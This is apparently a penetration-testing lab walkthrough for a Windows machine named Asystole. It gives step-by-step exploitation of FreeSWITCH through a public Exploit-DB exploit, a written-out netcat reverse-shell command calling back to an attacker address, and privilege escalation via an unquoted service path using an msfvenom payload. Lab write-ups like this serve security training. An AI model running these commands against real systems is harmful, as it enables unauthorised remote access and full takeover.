| Asystole (.105) | |
|---|---|
| Operating System | Windows |
| Points | 25 |
| Similar Machine (User) | |
| Similar Machine (Root) | TryHackMe’s Steel Mountain |

**Exploit in Getting User**

1. Port 8081 is running FreeSWITCH
2. Use this exploit: https://www.exploit-db.com/exploits/47799
3. Copy the exploit and modify the file extension from txt to py
4. Run: python3 47799.py 192.168.XX.105 dir
5. dir is a command in windows =.=
6. Next step is to upload a netcat binary. For this one use Powershell
7. Execute reverse shell using netcat: python3 47799.py 192.168.XX.105 “.\nc.exe -nv 192.168.XX.XX 445 -e cmd.exe”
8. User shell!

**Privilege Escalation to Root**

1. Use winPEAS to gather info and look for a vulnerable service name.
2. The machine has a vulnerable service path (Unquoted Service Path)
3. Rename the existing service
4. Create a reverse shell (exe) in msfvenom
5. Upload it to the path folder of the service
6. Setup netcat listener
7. Reboot the target machine
8. Root!